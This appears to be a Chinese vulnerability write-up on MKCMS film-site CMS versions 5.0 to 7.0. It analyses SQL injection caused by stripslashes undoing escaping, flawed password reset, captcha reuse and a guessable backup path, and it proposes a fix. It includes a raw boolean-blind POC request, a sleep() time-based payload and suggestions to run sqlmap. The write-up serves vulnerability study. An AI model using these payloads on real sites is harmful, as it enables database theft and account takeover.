简介及安装

MKCMS5.0 是一款基于 PHP+MYSQL 开发制作的专业全自动采集电影网站源码。程序不需授权上传直接使用 , 自动更新电影 , 无人值守! 完整的会员影视中心 后台可对接卡盟 可以设置收费观看模式。
下载地址:链接:https://pan.baidu.com/s/12HsPtKN8ECIAv3QNy6rSwg
提取码:zkaq

源码放在 phpstudy 根目录下。
访问:http://127.0.0.1/MKCMS5.0/install/
MKCMS5.0漏洞合集环境搭建

MKCMS5.0 漏洞合集环境搭建

MKCMS5.0搭建
MKCMS5.0 搭建

漏洞复现

前台 sql 注入
漏洞出现在 /ucenter/reg.php 第 7-19 行:

if(isset($_POST['submit'])){

$username = stripslashes(trim($_POST['name']));

// 检测用户名是否存在

$query = mysql_query("select u_id from mkcms_user where u_name='$username'");

if(mysql_fetch_array($query)){

echo '<script>alert(" 用户名已存在,请换个其他的用户名 ");window.history.go(-1);</script>';

exit;

}

$result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');

if(mysql_fetch_array($result)){

echo '<script>alert(" 邮箱已存在,请换个其他的邮箱 ");window.history.go(-1);</script>';

exit;

}
Plain text

mkcms漏洞复现

mkcms 漏洞复现

册用户名时 $username 参数传到后台后经过 stripslashes() 函数处理,而 stripslashes() 函数的作用是删除 addslashes() 函数添加的反斜杠。

当前页面无输出点,只是返回一个注册 / 未注册(通过 if 判断 true 或者 false),可以使用布尔盲注来解决这个问题。
POC:

POST /ucenter/reg.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/ucenter/reg.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

Connection: close

Cookie: PHPSESSID=cb8e6ccde6cf9050972fa9461d606be3

Upgrade-Insecure-Requests: 1


name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=
Plain text

test用户实际不存在

test 用户实际不存在

任意用户密码重置
漏洞出现在 /ucenter/repass.php 第 1-44 行:

任意用户密码重置

任意用户密码重置

本质上来说此处是一个逻辑问题,程序未通过邮箱等验证是否为用户本身就直接先在第 13-14 行把用户密码重置为 123456 了,根本没管邮件发送成功没有。
任意密码重置
任意密码重置

此处过滤了单引号,所以无法通过然后邮箱账号进行重置

漏洞修复

1. 注册处的注入可像密码找回处一样,过滤一下就 OK。
2. 找回密码处可修改为如下代码:

<?php

include('../system/inc.php');

if(isset($_SESSION['user_name'])){

header('location:index.php');

};


function randomkeys($length) {

  $pattern = '1234567890abcdefghijklmnopqrstuvwxyz

               ABCDEFGHIJKLOMNOPQRSTUVWXYZ';

    for($i=0;$i<$length;$i++) 

    { 

        $key .= $pattern{mt_rand(0,35)}; 

    } 

    return $key; 

};


$repass = randomkeys(10);


if(isset($_POST['submit'])){

  $username = stripslashes(trim($_POST['name']));

  $email = trim($_POST['email']);

  // 检测用户名是否存在

  $query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");


  if(!! $row = mysql_fetch_array($query)){

    if (mysql_query($sql)) {

      $token =$row['u_question'];

      include("emailconfig.php");

      // 创建 $smtp 对象 这里面的一个 true 是表示使用身份验证 , 否则不使用身份验证.

      $smtp = new Smtp($MailServer, $MailPort, $smtpuser, $smtppass, true); 

      $smtp->debug = false; 

      $mailType = "HTML"; // 信件类型,文本 :text;网页:HTML

      $email = $email;  // 收件人邮箱

      $emailTitle = "".$mkcms_name." 用户找回密码 "; // 邮件主题

      $emailBody = "亲爱的 ".$username.":<br/> 感谢您在我站注册帐号。<br/> 您的初始密码为 ".$repass."<br/> 如果此次找回密码请求非你本人所发,请忽略本邮件。<br/><p style='text-align:right'>-------- ".$mkcms_name." 敬上 </p>";


      // sendmail 方法

      // 参数 1 是收件人邮箱

      // 参数 2 是发件人邮箱

      // 参数 3 是主题(标题)

      // 参数 4 是邮件主题(标题)

      // 参数 4 是邮件内容  参数是内容类型文本 :text 网页 :HTML

      $rs = $smtp->sendmail($email, $smtpMail, $emailTitle, $emailBody, $mailType);

      if($rs==true){

        $_data['u_password'] = md5($repass);

        $sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';

        echo '<script>alert(" 请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';

      }else{

        echo "找回密码失败 ";

      }

    }

  }

}

?>
Plain text

增加一个生成随机密码的函数,将把新密码更新到数据库的流程放到发送邮件成功后即可。

MKCMS6.2 漏洞合集

简介及安装
米酷影视管理系统是一套专为不同需求的站长而设计的影视管理系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需 3 分钟即可建立一个海量的视频讯息的行业网站。

下载地址:链接:https://pan.baidu.com/s/1zJ0zDxLdblkM1DHxMZHr3w
提取码:zkaq

MKCMS6.2漏洞合集

MKCMS6.2 漏洞合集

MKCMS6.2漏洞合集环境搭建
MKCMS6.2 漏洞合集环境搭建

漏洞复现

验证码重用
/admin/cms_login.php 验证码处的逻辑如下,比较 session 中的验证码和输入的是否一致,不一致就进入 alert_href,这个 js 跳转,实际是在刷新页面

if(isset($_POST['submit'])){

    if ($_SESSION['verifycode'] != $_POST['verifycode']) {

        alert_href(' 验证码错误 ','cms_login.php');

    }
Plain text

代码审计

代码审计

跳转后就会刷新验证码,然而我用的是 burp,默认是不解析 js 的

全局搜索这个 $_SESSION[‘verifycode’],发现只在 /system/verifycode.php 有赋值,也就是说,如果使用验证码后,我们不跟随 js 跳转,就不会重置验证码,验证码也就能被重复使用了。
验证码重用

验证码重用

前台注入:/ucenter/repass.php
历史漏洞中,在 /ucenter/repass.php 有个越权修改密码的洞(CVE-2019-11332),跟进去发现原来还有注入,以下是分析过程。

if(isset($_POST['submit'])){

$username = stripslashes(trim($_POST['name']));

$email = trim($_POST['email']);

// 检测用户名是否存在

$query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");
Plain text

前面说到全局对 $_POST 存在 addslash 的过滤(加 \ 转义),上面又把参数给 stripslashes 了 (去掉 ), 那么这里就是一个注入了。

注入

注入

前台注入:/ucenter/active.php
/ucenter/active.php?verify=1 存在注入

$verify = stripslashes(trim($_GET['verify']));  // 去掉了转义用的\

$nowtime = time();

$query = mysql_query("select u_id from mkcms_user where u_question='$verify'");

$row = mysql_fetch_array($query);
Plain text

sqlmap 直接跑即可
sqlmap

sqlmap

sqlmap注入
sqlmap 注入

前台注入 :/ucenter/reg.php
/ucenter/reg.php 的 name 参数,存在注入。

if(isset($_POST['submit'])){

$username = stripslashes(trim($_POST['name']));

// 检测用户名是否存在

$query = mysql_query("select u_id from mkcms_user where u_name='$username'");
Plain text

任意用户密码找回(密码可被穷举)
这个问题主要是 /ucenter/repass.php 代码里,找回密码的逻辑有问题,第 10 行查询到 username、 email 能对应上之后,14 行就直接重置密码了。。。而且密码的范围在 12 行有写,只有 90000 种可能,重置之后,burp 跑一下就可以了。(当然要结合验证码重用才能有效爆破)
密码重置

密码重置

备份文件路径可猜解
这个备份功能设置的是非常简单的文件名。/backupdata/mkk.sql
在 /admin/cms_backup.php

<?php

$filename="../backupdata/".DATA_NAME.".sql"; // 存放路径,默认存放到项目最外层

$fp = fopen($filename,'w');

fputs($fp,$mysql);

fclose($fp);

alert_href(' 备份成功 !','cms_data.php');

?>
Plain text

全局搜 DATA_NAME 变量,是安装时候设置的数据库名。
在 \install\index_2.php 中
备份文件路径可猜解

备份文件路径可猜解

默认的 DATA_NAME 值是 mkk
在 \system\data.php 中
备份文件路径可猜解1
备份文件路径可猜解 1

MKCMS v7.0 sql 注入漏洞

漏洞简介
米酷影视管理系统是一套专为不同需求的站长而设计的影视管理系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需 3 分钟即可建立一个海量的视频讯息的行业网站。

米酷 CMS v7.0.3 版本 admin/model/admin_edit.php、ucenter/reg.php 等文件存在漏洞,攻击者可以利用漏洞进行 sql 注入攻击。

前台注入漏洞
漏洞分析
在 ucenter/reg.php 这个文件中,第 9 行处对 $username 这个参数进行了查询拼接。
MKCMS v7.0 sql注入漏洞

MKCMS v7.0 sql 注入漏洞

但是在第 7 行处,$username 的值是来自于 POST 传递的 name 参数,当 name 参数到达 reg.php 这个文件之后,stripslashes()函数将 name 的值进行了去除“\”处理。

MKCMS v7.0 sql注入漏洞1

MKCMS v7.0 sql 注入漏洞 1

根据 include,跳转到 /system/library.php 中,我们可以发现这里系统对 GET、POST 等参数进行了 addslashes_deep()函数处理,即对参数传递时加上了一个“\”。
MKCMS v7.0 sql注入漏洞2
MKCMS v7.0 sql 注入漏洞 2

问题就出在这里,前端用户进行提交的 name 参数,经过了 addslashes_deep()函数处理加上了一个“\”,到达 reg.php 页面又使用 stripslashes()函数将 name 的值进行了去除“\”处理,这就导致出现了无过滤拼接。

漏洞复现
来到前台漏洞点。http://127.0.0.1/MKCMS7.0/ucenter/reg.php
事先已有 admin 用户。抓包注册 admin 用户,提示已存在
MKCMS v7.0 sql注入漏洞复现

MKCMS v7.0 sql 注入漏洞复现

在 name 参数处构造 Payload:+and+’1’=’2

MKCMS v7.0 sql注入漏洞复现1

MKCMS v7.0 sql 注入漏洞复现 1

在 name 参数处构造 Payload:+and+’1’=’1

MKCMS v7.0 sql注入漏洞复现2

MKCMS v7.0 sql 注入漏洞复现 2

根据不同的返回值可以说明构造的 payload 被拼接到数据库进行了判断处理。

后台注入

漏洞分析
在 admin/model/admin_edit.php 文件中,文件第 10 行处,系统进行了数据库查询,拼接了两个参数,一个是 POST 传递的 a_name,一个是 GET 传递的 id,可以看出,系统并未对参数在这里做任何的过滤处理。
后台注入

后台注入

漏洞复现
定位到漏洞点 :127.0.0.1/MKCMS7.0/admin/cms_admin_edit.php?id=1
mkcms 后台注入
mkcms 后台注入

用单引号测试
mkcms 后台注入1
mkcms 后台注入 1

构造 payload:id=1+and+if(1>2,1,sleep(3))。数据库执行了 sleep()函数。同样也可以直接丢给 sqlmap 去注入。

mkcms 后台注入2

mkcms 后台注入 2